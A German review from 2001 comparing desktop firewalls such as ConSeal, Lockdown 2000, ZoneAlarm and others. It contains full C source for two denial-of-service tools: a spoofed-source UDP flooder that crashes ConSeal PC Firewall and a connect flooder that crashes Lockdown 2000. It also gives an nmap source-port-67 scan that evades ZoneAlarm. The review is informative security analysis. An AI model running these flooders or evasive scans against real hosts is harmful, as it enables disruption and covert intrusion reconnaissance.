Desktop-Firewalls
Marc Ruef
Einführung

Die Gefahr, beim Durchforsten des Internets auf Viren oder korrupten Programmcode zu stossen, egal ob nun in Form eines ActiveX-Elements oder eines Java-Applets, wächst mit der Bedeutung des Internets. Für eine professionelle Lösung muss relativ tief in die Tasche gegriffen werden, um das eigene Netzwerk vor solchen Gefahren hermetisch abzuriegeln. Daher werden auf Software-Ebene sogenannte Desktop-Firewalls realisiert, welche vorzugsweise Windows-Systeme von Normalanwendern vor Gefahren aus dem Internet bewahren sollen.

Leider ist es so, dass viele auf dem Markt erhältliche Systeme nicht die Anforderungen erfüllen können, die eigentlich an das Objekt in Extremsituationen gestellt werden. Auch die Performance auf dem System nimmt rapide ab, obwohl dies heutzutage bei der eingesetzten Hardware, auch im privaten Bereich, nicht mehr so als negativ ausschlaggebend eingestuft werden muss. Die grösste Angriffsfläche bietet jedoch in den wenigsten Fällen die Private-Firewall selbst, sondern das Betriebssystem, auf dem sie aufsetzt.

Trotzdem gilt es für Vielsurfer und im Firmennetz als Muss, stets mit on-the-fly Anti-Viren-Software und Destop-Firewall in die Weiten des Internets vorzudringen, da dadurch wenigstens sämtliche TCP/IP-Pakete kontrolliert werden können, die den Rechner erreichen. Auch fungieren einige Desktop-Firewalls automatisch als Viren-Scanner, denn sie überprüfen automatisch das Verhalten von ActiveX- und Java-Elementen, die lokale Daten löschen oder auf dem eigenen Rechner unbemerkt im Hintergrund Daten per FTP an einen entfernten Cracker schickt. Die Software-Firewall schafft um ihren Zweck zu erfüllen, einen Schutzbereich, der so eine Art Quarantäne bildet. Dieser Schutzbereich wird Sandbox genannt, wobei ein Programm, welches innerhalb dieser virtuellen Umgebung ausgeführt wird, nur sehr begrenzten Zugriff auf Ressourcen des Systems gewährt bekommt. Zwar ist der Ansatz dieses Sandbox-Systems sehr gut, doch sind die verschiedenen Umsetzungen noch nicht genug ausgereift, um einen umfassenden Schutz in dieser Hinsicht zu geben.
 
Name Hersteller Homepage
Anti-Hack CarbonSoft http://www.carbosoft.com/anti-hack.htm
AtGuard WRQ http://www.wrq.com/
Back Protection 2001 JMMG Communications http://www.jmmgc.com/backprotection/index.html
Black ICE Defender Network ICE Corporation http://www.netice.com/products/blackice_defender.html
ConSeal PC Firewall Signal 9 http://www.consealfirewall.com/
Digital Robotics Internet Firewall 2000 Digital Robotics http://www.digitalrobotics.com/IFW2000.htm
eSafe Desktop Aladdin / eSafe http://www.eSafe.com/
GNAT Box Light Global Technologies Associates, Inc. http://www.gnatbox.com/Pages/gblight.html
HackerWacker HackerWacker http://www.hackerwacker.com/hackerwacker/
HackTracer Sharp Technology /Neoworx http://www.neoworx.com/products/hacktracer/default.asp
Jammer Agnitum http://www.agnitum.com/products/jammer/
LockDown 2000 LockDown2000 http://lockdown2000.com/
Look 'n' Stop Soft4Ever http://www.soft4ever.com/LooknStop/En/decouvrir.htm
McAfee Internet Guard Dog McAfee http://www.mcafee.com/myapps/firewall/ov_firewall.asp?
McAfee Personal Firewall McAfee http://www.mcafee.com/myapps/firewall/ov_firewall.asp?
Neoworx NeoWatch Neoworx http://www.neoworx.com/download/
NetWatcher 2000 Moonlight Software http://www.moonlight-software.com/netwatcher.htm
Norman Personal Firewall Norman http://www.norman.no/products_npf.shtml
Norton Internet Security Symantec http://www.symantec.com/region/de/product/nis/
NukeNabber Dynamsol http://www.dynamsol.com/puppet/nukenabber.html
PC Viper Edge Technologies http://www.pcviper.com/
PGP Network Security Network Associates http://www.nai.com/international/uk/asp_set/about_nai/at_a_glance/intro.asp
Port Detective Tzolkin http://www.portdetective.com/
Privatefirewall PrivacyWare http://www.privacyware.com/
Secure4U Sandbox Security http://www.sandboxsecurity.com/main.htm
SessionWall-3 AbirNet / Computer Associates http://www.cai.com/solutions/enterprise/etrust/intrusion_detection/
Sphinx Biodata http://www.sphinxwall.com/
Sygate Personal Firewall Sygate http://www.sygate.com/
Tiny Personal Firewall Tiny Software http://www.tinysoftware.com/pwall.php
Tiny WinRoute Lite Tiny Software http://www.tinysoftware.com/winlite.php
Tiny WinRoute Professional Tiny Software http://www.tinysoftware.com/winpro.php
ZoneAlarm ZoneLabs http://www.zonelabs.com/
Desktop-Firewalls: Stand Februar 2001.

Vorteile von Desktop-Firewalls

  • Niedrige Kosten.
  • Meist für Normal-Anwender zugeschnitten und daher leicht verständlich.
Nachteile von Desktop-Firewalls
  • Nicht besonders zuverlässig, da schon alleine das Betriebssystem zu viel Angriffsfläche bietet.
  • Viele Anwender können aufgrund fehlender TCP/IP-Kentnisse keine korrekten Filter-Regeln setzen und die Protokollierung auswerten.
  • Performance-Einbussen auf der Workstation.
Black ICE Defender

Black ICE Defender von Network ICE (http://www.netice.com/) untersucht im Hintergrund alle Datenströme auf Hackversuche oder zerstörerische und schädliche Inhalte. Um dies ohne allzugrosse Performance-Verluste zu realisieren, werden leistungsfähige und ausgeklügelte Echtzeit-Scanner angesetzt. Besonders stark gilt Black ICE Defender in Zusammenarbeit mit dem NAI-Cybercop-Scanner. Sogar Portscans kann Black ICE Defender verhindern. Per IP-Filter lässt sich der Zugriff auf bestimmte IP-Adressen ausschliessen. Attacken protokolliert das Programm mit deren IP- oder DNS-Adresse. Von der Network-ICE-Website sind jeweils die neuesten Details über Art und Gefahren von Angriffen abrufbar. Ein markanter Nachteil ist das Feature des Überprüfens von Mail-Anhängen auf ihre Schädlichkeit. In verschiedenen Tests wurden Skripte für den Anwender als ungefährlich eingestuft, die durch eingeblendete Fenster auf dem Desktop den Nutzer stören. Insgesamt kann Black ICE Defender jedoch in Tests mit ActiveX- und Java-Elementen überzeugen, aller dings blockt das Tool jedoch auch erwünschte Zugriffe von Programmen auf die lokale Festplatte. Dies erweist sich besonders beim Nutzen von Netmeeting als sehr störend, da aufgrund des Fehlens von Konfigurations-Möglichkeiten diese Rafinesse auch nicht von Hand einstellen lässt. Stattdessen bietet diese Anwendung nur verschiedene Sicherheitsstufen zur Auswahl. Dies vereinfacht zwar das Setup, wobei besonders Neulinge in PC-Umgebung darüber freuen dürften, lässt aber den Profi zu wenige Optionen, um sich eine angemessene Umgebung zu schaffen. Für den Einsatz im LAN gibt es die Version Black ICE Pro, die neben mehr Konfigurations-Komfort ein zentrales Management und einen Scanner zur Prüfung der Systemsicherheit zur Verfügung stellt.

Conseal PC Firewall

PC Firewall von Signal 9 (http://www.signal9.com/) wendet sich an den erfahrerenen Anwender mit relativ viel TCP/IP-Kenntnissen: Die Oberfläche und die umfangreichen Konfigurations-Möglichkeiten sind für den Einsteiger absolut nicht geeignet. Es ist der ideale Ersatz für eine Hardware-Firewall in einem kleinen LAN oder für Standalone-PCs. Im gegensatz zu Private Desktop aus der gleichen Software-Schmiede stellt PC Firewall Paket- und Protokoll-Filter zur Verfügung, die man über Regelsätze frei definieren kann. Es empfielt sich, einen der vier vordefinierten Regelsätze zu laden, und ihn als Ausgangspunkt der eigenen Konfiguration zu nutzen. Ausgehend von diesen Regeln lassen sich bestimmte Protokolle, Ports, IP-Adressen oder Services gezielt blocken oder freischalten und Regeln für einzelne Applikationen verwalten. Nur wenn eine Regel explizit das Nutzen eines bestimmten Dienstes zulässt, können Daten ungehindert auf jenem Pfade die Firewall passieren. Stösst die Software während einer Sitzung auf eine Kommunikation, die gegen eine bestimmte Regel verstösst, erscheint auf dem Bildschirm des Anwenders eine Dialog-Box, die ihn um Erlaubnis fragt, ob diese Verbindung geblockt werden, oder temporär freigegeben werden soll. Eine Sandbox fehlt leider, und diverse korrupte ActiveX- und Java-Elemente werden von Conseal PC Firewall nicht korrekt ausgefiltert. Auch die Reporting-Funktion bietet nicht ganz das, was man sich erhofft.

Folgend wird nun eine einfach "Denial of Service"-Attacke gegen die ConSeal PC Firewall von Signal9 demonstriert. Dieser Angriff verhält sich nur bis zu Juni 1998 herausgegebenen Version 1.2 erfolgreich. Signal9 wurde über das Problem informiert, und sie behoben es in den darauf folgenden Versionen. Da viele Warez-Sammler sich illegal mit den älteren Versionen herumschlagen, sind doch einige Systeme von dieser Attacke betroffen. Es ist eine relativ primitive Flooding-Attacke auf verschiedene Ports, die das Ziel-System einfrieren lassen kann. Wird die Attacke nach dem Freeze-Erfolg weiter ausgeführt, kann sogar ein Neustart nach rund 30 Sekunden remote erzeugt werden.

/* Saihyousen Attack (*Japanese* Ice Breaker), By Noc-Wage (M.C.S.R)
* Base code from arnudp.c but HEAVILY modified. Originally written
* sometime early April 1998, I'm a little fuzzy as to the date.
*
* I take no responsibility for the actions of any script kiddies who
* think that running this against some one is a fun way to pass away
* their useless lives.  I also in NO WAY claim to be good at
* programming, so modify it all you want, just leave credit to me
* and PLEASE send me a copy of your modified code.
*
* I chose ice breaker because the night before writing this program
* I read through all of William Gibson's Neuromancer while cradling
* an empty bottle of Canadian Club and sick with the flu.
*
* HOW IT WORKS:
* The way this program kills the machine happens in 2 ways
* #1 If Conseal is set for "learning" mode the flooding packets from
* all the different IPs and ports will cause the program to continously
* attempt to write more and more new rules.  This eventually uses up
* all the resources and results in a freeze and eventually a reboot.
* #2 If ConSeal is set to log attacks, once again because of the number
* of packets the system resources are eaten up and the machine dies.
*
* I tested dx2/66 running RedHat 4.0 (12 megs of ram)
* as the attacker and a Pentium 233 (64 megs of ram)
* as the victim.  Using ConSeal The pentium 233 froze after about 5
* seconds of attack. (This is on an ethernet, but I had done live testing
* over ppp connection (33.6/28.8) and it took only  few more seconds.
* Because the packets are so small a 28.8 dial-up would not get lag at
* all, 14.4 would get minor after about 20,000 packets.  So send as many
* as you want, generally 40,000 will kill anything.
*
* Shouts: My foolish friend who's addicted to ICQ: Essence
*    #Snickers especially humble(horizon), colonwq, n`tropy, sheenie, sygma!
*         Howdy to fellow Miltonians Acid_Red (Mully and Tom)
*     #hackers, `Lo SUidRoot, iCBM, drsmoke, EPiC, trix, modred, halt
*         And all the rest!
*     Don't we all miss TRON?
*    Nullifier, my cousin (Hey Al H***)
*/
 
 

/* Should compile on all linux, not too sure about BSD, if you modify it
to make
 * it better in some way please mail it too me, I'd be interested in
seeing it. */

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<strings.h>
#include<netdb.h>
#include <stdlib.h>
#include<stdio.h>
#ifdef BROKEN_LIBC
#include <arpa/inet.h>
#else
#define u_char unsigned char
#define u_short unsigned short
#endif

struct sockaddr sa;

int main(int argc,char **argv)
{
int fd;
int x=1;
int hosti=192;
int hostii=168;
int hostiii=1;
int meep=0;
int fooport=1;
int numpack=0;
char funhost[15];
struct sockaddr_in *p;
struct hostent *he;
u_char gram[36]=
{
0x45, 0x00, 0x00, 0x26,
0x12, 0x34, 0x00, 0x00,
0xFF, 0x11, 0, 0,
0, 0, 0, 0,
0, 0, 0, 0,

0, 0, 0, 0,
0x00, 0x12, 0x00, 0x00,

'3','1','3','3','7','8','9','0'
};

if(argc!=3)
{
fprintf(stderr,"Saihyousen, by Noc-Wage\n");
fprintf(stderr,"The faster your connection to the internet is (latency
wise, not bandwidth)\n");
fprintf(stderr,"and the lower the CPU speed of the victim
will\nincrease probability of success\n");
fprintf(stderr,"usage: %s victim num_of_packets Ex: saihyousen
127.0.0.1 40000\n",*argv);
exit(1);
};
if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
{
perror("requires RAW SOCKETS");
exit(1);
};

#ifdef IP_HDRINCL
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
{
perror("setsockopt IP_HDRINCL");
exit(1);
};
#else
fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n");
#endif

/* The stuff below is so that it's not fully sequential  i.e
100.100.100.101, 100.100.100.102  */
for (numpack=0;numpack<=atoi(argv[2]);numpack++) {
if (meep==0) { ++hosti; meep++; }
if (hosti>254) hosti=1;
if (meep==1) { ++hostii; meep++;}
if (hostii>254) hostii=1;
if (meep==2) { ++hostiii; meep=0;}
if (hostiii>254) hostiii=1;

sprintf( funhost, "%i.%i.%i.%i",hosti,hostii,hostiii,hosti);
(he=gethostbyname(funhost));
bcopy(*(he->h_addr_list),(gram+12),4);

if((he=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"can't resolve destination hostname\n");
exit(1);
};
bcopy(*(he->h_addr_list),(gram+16),4);
fooport++;
/* resets the port to 1 if it's nearing the end of possible values */
if (fooport>65530) {fooport=1;};
*(u_short*)(gram+20)=htons((u_short)fooport);
*(u_short*)(gram+22)=htons((u_short)fooport);

p=(struct sockaddr_in*)&sa;
p->sin_family=AF_INET;
bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));

if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct
sockaddr)))== -1)
{
perror("sendto");
exit(1);
};
/* printf("Packet # %i\n", numpack); */
/* Turn that on to see where you are.. it'll slow the attack though */
};
printf("Attack against %s finished", argv[1]);
putchar('\n');
return 1;
}

/* How to protect yourself?
* Well it's fairly simple, disable learning and logging mode.
* Signal9 has been made aware of this problem LONG before I decided
* to release it, so people who actually paid for it and keep their copy
* updated should have no problems.  Those of you out there who used
* a crack or a key generator are probably the type that sit on IRC
* warez channels all day. As we all know IRC is a very dangerous
* place for warez pups so I guess you aren't as protected as you may
* think.
*
* www.signal9.com you can download and upgrade the exsisting
* copy that you own.
* Don't come crying to me if your pirated copy of a rather inexpensive
* piece of software blows up in your face.
*/

Conseal Private Desktop 2.04

Diese Software-Lösung ist sehr einfach zu verwalten, und sie eignet sich daher ausgezeichnet für Anfänger und Einsteiger, nicht aber für Profis im LAN. Das Tool ist gleich wie Secure Desktop konzipiert, denn es blockt per Filter die definierten Daten zwischen PC und Netzwerk/Internet ab. Mitgeliefert werden einige vordefinierte Filter, die jedoch nicht in jedem Falle effizient Nutzbar sind, da oft wichtige Ressourcen und IP-Protokolle damit geblockt werden, von denen eigentlich keine Gefahr ausgeht. Auch einige Tests mit Netmeeting besteht das Tool nicht, und wirklt wie eine Handbremse. Läuft PGP, erzeugt es unter Windows 98 den gefürchteten Bluescreen. Meine tests haben gezeigt, dass diese Dektop-Firewall den kompletten Host vor dem Netzwerk versteckt: Selbst über IP-Adresse und Port ist kein direkter Zugriff mehr möglich. Das schlimme ist jedoch, dass sich weder in den Einstellungen gewisse Ressourcen fürs Netz freigeben lassen, noch bestimmte Ports geöffnet werden können. Es können jedoch Anwendungen definiert werden, die uneingeschränkt ins Netz kommunizieren dürfen. Steht eine Anwendung nicht auf dieser Liste und möchte trotzem Daten nach aussen dringen lassen, wird dies unterbrochen und der User um Erlaubnis gefragt. Cookies und ActiveX wird standartmässig automatisch im Browser deaktiviert, was einen geringen Schutz bietet, da einige Attacken mit korruptem Java-Code Erfolg haben können.

E-Safe Protect 2.1

Die Software-Schmiede Aladdin (http://www.esafe.com/) setzt komplett auf das Sandbox-System, und scannt daher gefährlichen Content gar nicht erst nach schädlichem Inhalt: Der Browser erhält aus diesem Grunde nur Lese- und Schreib-Rechte für ein zuvor angegebenes Verzeichnis. Gefährliche Elemente werden somit nicht geblockt, sondern deren Schadenausbreitung nur wirksam eingegrenzt. Als besonderes Feature zu empfehlen ist der integrierte Viren-Scanner für E-Mails. Leider wurde keine passive Scan-Option für Daten eingebaut, die direkt aus dem Internet geladen werden: Werden zuvor heruntergeladene ausführbare Dateien exekutiert, wird E-Safe Protect die gewalt über deren Inhalt aus den Händen gerissen, und möglicher Schaden kann durch diese Dektop-Firewall nicht eingegrenzt oder verhindert werden. Jenem Missstand kann das festlegen von bestimmten Sicherheitszonen Abhilfe schaffen, damit die Programme nicht einfach als "unbekannte Anwendung" von Aladdins-Firewall ausgeführt werden, was natürlich mit erhöhtem Aufwand verbunden ist. Die Standartkonfiguration bietet nahezu keinen Schutz vor möglichen Attacken. Dank bedienerfreundlichen Oberfläche gestaltet es sich jedoch auch für ungeübte Anwender als niedrige Hürde, das Tool den eigenen Bedürfnissen anzupassen. Neben einer kostenlosen Desktop-Version bietet Aladdin eine Enterprise-Variante mit zentraler Steuerung und Wartung an, welche mehr Features wie das weitergeben von verdächtigem Inhalt an E-Safe bietet.

Guard Dog 2.0.5

Die wirklich gelungene Oberfläche mit ihren ausgeklügelten Menüstrukturen aus dem Hause McAfee (http://www.mcafee.com/) vermag auf den ersten Blick einen soliden Eindruck zu gewinnen, tröstet jedoch nur kurze Zeit über den gesamthaft mangelnden Schutz gegen Angriffe. Der Setup-Assistent führt Windows-Like durch die Installations-Routine und fragt dabei nach persönlichen Informationen, wie zum Beispiel auch die eigene Kreditkarten-Nummer. Leider ist es von Nöten, der Software solch sensible Daten anzuvertrauen, damit jene den Anwender vor Missbrauchen schützen kann: Guard Dog fragt danach bei der Übertragung der eingegebenen Daten nach einem Passwort, um deren unerlaubtes Weiterschicken und mögliches Ausspionieren durch Cookies zu verhindern. zu unterbinden. Dateien und ganze Verzeichnisse lassen sich durch dieses Tool per Quarantäne-System schützen. Zudem lässt sich der Zugriff für bestimmte Files explizit für einzelne Anwendungen festlegen. Die Konfiguration gestaltet sich leider etwas aufwändig, könnte dementsprechend einfacher ausfallen, wobei sie eindeutig nicht mit jener von Secure-4U oder E-Safe mithalten kann. Sobald eine unathorizierte Anwendung, die den Internetzugang nutzen möchte, eine Verbindung aufbaut, erscheint eine Meldung, die den Anwender auf das Bestehen der möglichen Gefahr hinweist. Der relativ langsame Scanner erkennt leider nicht jeden korrupten Code und schützt während des Surfens somit recht unkompetent vor gefährlichem Webinhalt. Der Cookie-Blocker und das leeren des Web-Cache sind relativ überflüssige Features. Wirksamen Schutz bietet Guard Dog nur vor Viren und trojanischen Pferden, und zwar nur dank dem integrierten McAfee-Virenscanner. Er ist in der Lage schnell und zuverlässig E-Mails, Attachments und Web-Content und ZIP-Files nach möglichen Gefahren zu durchsuchen. Als Desktop-Firewall an sich lässt Guard Dog einiges zu wünschen übrig.

Lockdown 2000

Die Funktionen dieses Produkts sind auf Schutz vor simplen DoS-Angriffen und NETBIOS-Zugriffen beschränkt. Der Sinn den Zugriff über das NETBIOS-Protokoll anzuzeigen ist anfechtbar, doch funktioniert dies wenigstens ohne grössere Komplikationen: Ein schön dargestelltes Protokoll erlaubt eine detaillierte Analyse des Verhaltens eines potentiellen Eindringlings. Der Performance-Verlust, der mit der Installation und Nutzen dieser Software in Kauf genommen werden muss, kann aus meiner Sicht absolut nicht gerechtfertigt werden. Komischerweise gewinnt Lockdown 2000 (http://www.lockdown2000.com/) relativ viel an Zuneigung aus den Reihen der etwas unerfahrerenen Endanwender.

Das Programm "Crasher" von Johannes Weitzel nutzt eine Sicherheitslücke von Lockdown 2000 aus, um die Software-Firewall abstürzen zu lassen, einen "Blue Screen of Death" zu erzeugen oder gleich das ganze System zu einem Neustart zu erzwingen. Das Tool funktioniert laut Aussage des Autors perfekt, solange auf dem Ziel-Rechner Lockdown 2000 aktiviert ist, und keine IP-Sperre aktiviert wurde, da sonst die IP des Angreifers für 5 Minuten nicht geloggt wird, und somit der Angriff extrem hinausgezört werden würde.

/*********************************************************************

Author: Johannes Weitzel
        Johannes.Weitzel@web.de
        http://home.wtal.de/JohannesWeitzel

Date:   May the 27th, 2000

Aim:    to wrote a short program, which crashes Lockdown2000

Background: I'va read in comp.security.misc <8eq6nt$aqp$1@info.service.rug.nl>
            that there is a security hole in the Windows 'firewall'
            Lockdown2000. You can crash it, when you connect to a port very often
            which is normally used by a trojan horse . This program does this.

please send comments, improvement suggestions etc. to Johannes.Weitzel@web.de

WARNING: This is not a very good code with no error checking etc. Please mind this!

compiled with 'gcc -o crasher crasher.c'
**********************************************************************/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
//#include <string.h>

void help(void);

void help(void)
{
  printf("Error with the arguments!\n\n");
  printf("Try it in form of:\n");
  printf("crasher IP PORT AMOUNT_OF_FLOODS\n");
  printf("Example:\n");
  printf("crasher 127.0.0.1 1243 300\n");
  exit(1);
}

main(int argc, char **argv)
{
  int sockfd;
  int i,port;
  struct sockaddr_in dest_addr;
  int DEST_PORT;
  long DEST_IP;

  if(argc==4)
    {
     DEST_PORT = atoi(argv[2]);
     printf("Trying flood %s with scans on Port %s \n",argv[1],argv[2]);
    }
  else
    help();

  for(i=1;i<=atoi(argv[3]);i++)
  {
    printf("Attempt: %d\n",i);

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    dest_addr.sin_family = AF_INET;
    dest_addr.sin_port = htons(DEST_PORT);
    dest_addr.sin_addr.s_addr = inet_addr(argv[1]); // 1. Parameter
    bzero(&(dest_addr.sin_zero), 8);

    connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
    close(sockfd);
  }
  return(1);
}

Secure-4-U 4.1

Diese Desktop-Firewall von Secure (http://www.sandboxsecurity.com/) bietet einen umfassenden Rundumschutz vor Hacks und zerstörerischem Code: Es kombiniert das Sandbox-Verfahren geschickt mit einem effizienten ActiveX- und Java-Scanner. Wie bei E-Safe sind einzelne Anwendungen in Sicherheitsbereiche einreichbar und lassen sich mittels Zugriffsrechten schützen. Im Hintergrund scannt und überwacht das Tool Java- und ActiveX-Komponente. Leider gelingt es Secure-4-U nicht immer schädlichen von nützlichem Inhalt zu unterscheiden. Eine totale Überforderung für das Programm ist ein Angriff mittels Keystroke-Simulation, wobei dabei Tastatureingaben am Desktop vorgetäuscht werden. Aus diesem Grunde lassen sich ohne grössere Probleme unerlaubt Word-Dokumente kopieren oder unerwünschte Tastatur-Eingaben tätigen, die ein effizientes Arbeiten am Computer unmöglich erscheinen lassen. Auch sind kleinere Bugs in der Installationsroutine vorhanden, die jedoch laut der Aussage des Herstellers in den kommenden Versionen behoben sein sollten. Zudem arbeiten einige Werkseinstellungen nicht korrekt, was dem Einsteiger den Umgang nicht sonderlich erleichtern dürfte. Das Fehlen eines IP-Content-Filters ist ein weiterer nennenswerter Schwachpunkt, wobei jedoch auch das Nennen des erhöhten Aufwandes für die Konfiguration der Sicherheitsbereiche als etwas sehr Negatives zu nennen ist: Es kann durchaus vorkommen das bei Fehlkonfiguration seitens des Anwenders Word oder Corel Draw als unbekannte Applikation erkannt werden, wodurch ihnen lebenswichtige Zugriffe auf relevante Daten oder Netzwerk-Ressourcen verwehrt bleibt.

Secure Desktop 1.1

Sybergen (http://www.sybergen.com/), welche früher unter dem Namen Syshield für das Produzieren und Vertreiben von Software bekannt war, wartet mit einem fünfstufigen Sicherheitssystem auf, welches den PC vor Hacks aus dem Internet schützen soll. Durch umfangreiche Optionen lassen sich jene individuell anpassen, was jedoch relativ schnell zur Konfigurations-Orgie ausarten kann: Es ist ziemlich schwer sich selber nicht in den Einstellungsmöglichkeiten eigener Port- und Protokoll-Filter zu verlieren, wobei gute TCP/IP-Kenntnisse von unschätzbarem Vorteil sein können. Der unerfahrene Einsteiger bleibt daher auf die vordefinierten Level beschränkt. Secure Desktop bietet in etwa den Schutz einer Unix-Firewall und könnte vom Funktionsumfang eine solche im Notfall ersetzen. Traurigerweise passieren korrupte ActiveX- und Java-Elemente das Sicherheitssystem, so dass die Schutzwirkung in jener Hinsicht als mangelhaft einzuschätzen ist. Die Ideologie, die hinter jeder Fuktion verborgen ist, beschränkt sich auf einen einfachen Port- und Protokoll-Filter. Der Einsatz eines Sandbox-Verfahren fehlt gänzlich, ebenso ein Scanner, der Downloads auf mögliche Schadensquellen hin prüft. Auch überwacht Secure Desktop das Ablaufen im Hintergrund des Systems während einer Internet-Sitzung nicht. Sybergen bietet also ein Programm, welches vor Angriffen zu schützen vermag, jedoch bei aggressiven Web-Content kläglich zu versagen droht. Nur abgehende Webverbindungen, die nicht vom Anwender selbst initiiert werden, kann die Software erfolgreich abblocken. Erfreulicherweise lässt sich der Webzugang bei bestimmten Zeiten blockieren, beispielsweise Nachts oder während der Bildschirm-Schoner aktiv ist. Anders als E-Safe oder Secure-4-U verlangsamt Secure Desktop das System kaum, denn ausser Port- und Protokoll-Checks lasten keine weiteren Anforderungen auf dem eingesetzten System.

Surfin Shield 4.6

Finjan (http://www.finjan.com/) beglückt den Anwender mit einem Programm, welches LAN-Clients vor korruptem Programmcode schützen soll. Da das Tool hauptsächlich für jenen Zweck konzipiert wurde, kann es beim Vergleichstest in dieser Hinsicht am besten abschneiden. Die Client-Software schützt PCs vor trojanischen Pferden und gefährlichem ActiveX-Content. Grundlage dafür ist ein on-the-fly Scanner, der möglichen schädlichen Inhalt bzw. Anwendungen in Quarantäne ausführen lässt. Diese sogenannte X-Box isoliert ausführbare Dateien wirksam, egal ob es sich um Website-Applets oder Download-Dateien handelt. Eine Sandbox im herkömmlichen Sinne, die Zugriffe auf bestimmte Teile des Systems unterbinden lässt, fehlt jedoch gänzlich. Management, Konfiguration und Client-Installation erfolgen per Surfin Shield-Server, und gestalten sich daher in grösseren Netzen als relativ unkompliziert. Über die Surfin-Konsole verwaltet der Administrator das Verhalten der Clients und die Scan-Regeln für die Rechner und User. Es ist natürlich auch eine Installation ohne Server möglich, wobei in jenem Falle das Loggen und weitere Funktionen nicht richtig genutzt werden kann, und mögliche Einstellungsmöglichkeiten verloren gehen. Im LAN-Einsatz kann diese Desktop-Firewall mit gut durchdachtem zentralen Management überzeugen, wobei das Loggen auch zentral stattfindet. Surfin Shield bietet online kaum Schutz gegen Angriffe, im Besonderen jene, die auf Keystroke ausgelegt sind: Angriffe über IP sind relativ einfach zu fahren.

ZoneAlarm

Diese spezielle Freeware kann gut überzeugen: Zone-Alarm von Zone-Labs (http://www.zonelabs.com/) bietet guten und ausgereiften Schutz vor Datenklau, indem es Verbindungen mit dem Internet zu überwachen pflegt. Man kann auch festlegen, ob eine Applikation einen Zugriff zum Internet herstellen darf, oder nicht. Tritt dann einmal der Fall auf, dass ein Programm unerlaubt eine Verbindung herstellen möchte, muss jene erst vom Anwender durch das Verifizieren einer Meldung erlaubt werden. Somit ist es für trojanische Pferde grundsätzlich nicht möglich heikle Daten an einen entfernten Rechner zu schicken, ohne dass dies dem Benutzer des Systems bekannt werden sollte. Angriffe, die auf Keystroke-Simulationen beruhen, erkennt Zone-Alarm jedoch nicht. Auch enthält das frei erhältliche Tool keinen Viren-Scanner für Web-Inhalte oder ein Sandbox-System. Die sehr einfach zu bedienende Software kann somit nicht wirklich einen umfassenden Schutz bieten. Über das Satatus-Fenster ist jedoch sofort erkennbar, ob online Daten übertragen werden, wobei ein Emergency-Button im unerlaubten Falle sofort die Verbindung kappbar macht. Trotzdem muss erwähnt sein, dass oft Alarm ausgeschlagen wird, obwohl ganz normale Zugriffe stattfinden: Die vermag dem Nutzer auf die dauer als nervend aufzufallen; doch mit solchen Kinderkrankheiten muss bei Desktop-Firewalls einfach gerechnet werden.

Andrew Daviel fand heraus, dass die Software-Firewall "Zone Alam" von zonelabs.com sensible Daten herausrückt, sobald der [More Info]-Button bei einem Alarm-Ausschlag betätigt wurde. Erscheint bei einer möglichen Attacke dieses Popup-Fenster, kann der Anwender durch das Klicken auf den besagten Knopf eine Verbindung mit dem Standart-Webbrowser zum WWW-Server von Zonelabs herstellen, um mehr Informationen über die Art und Hintergründe des vermeindlichen Angriffs in Erfahrung zu bringen. In der (aktuellen) Version 2.0.26 werden folgende Informationen dabei durch eine HTTP-GET-Anfrage via HTTP-Port 80 an den Zonelabs-Server geschickt:

  • Source-Adresse und -Port
  • Destination-Adresse und -Port
  • Betriebssystem-Version
  • Firewall-Version
  • Ob der Verbindungsaufbau erfolgreich geblockt wurde
  • Der aktuelle Status der Desktop-Firewall
Da diese Daten eventuell schon kompromittierte Systeme (Router, Proxy-Server oder Firewalls) passieren müssen, können sie oft abgefangen oder in den jeweiligen Log-Files ausgelesen werden. Als Lösung gelten mittels Disassembler und HEX-Editor die EXE-Datei von Zone Alarm so zu manipulieren, dass diese Funktion "gefährliche" automatisch deaktiviert ist. Auch wäre ein lokaler Mirror des Zonelabs-Information-Servers möglich, um die Daten nicht aus dem lokalen Netz zu lassen.

Die Software-Firewall in der Version 2.1.10 von Zonelabs weist einen markanten Mangel auf: Es werden grundsätzlich keine Anfragen auf Ports protokolliert, die standartmössig vom Kernel in Anspruch genommen werden. Somit wird das Port-Scannen einer durch Zone Alarm geschützten Maschine nicht erkannt, wenn zum Beispiel als Source-Port UDP 67 gewählt wurde: Die Desktop-Firewall lässt das Paket ohne weiteres passieren, und informiert keineswegs den User darüber. UDP-Port 67 muss geradezu offen gelassen werden, da dieser Port für DHCP gebraucht wird. In früheren Version 2.0.26 wurden auch UDP-Pakete vom Source-Port 53 durchgelassen. Um einen solchen verdeckten Scan an einem anderen Rechner mit nmap durchzuführen, gibt man in der lokalen Kommandozeile von Linux einfach folgenden Befehl ein: "nmap -g67 -P0 -p130-140 -sU 192.168.0.2". Die Lösung dieses Problems besteht darin, dass ein Update der Software installiert werden muss, da bei den neueren Versionen dieser Bug beseitigt wurde. Die jeweils aktuellste Version von Zone Alarm kann man online unter http://www.zonelabs.com/download_ZA.htm beziehen.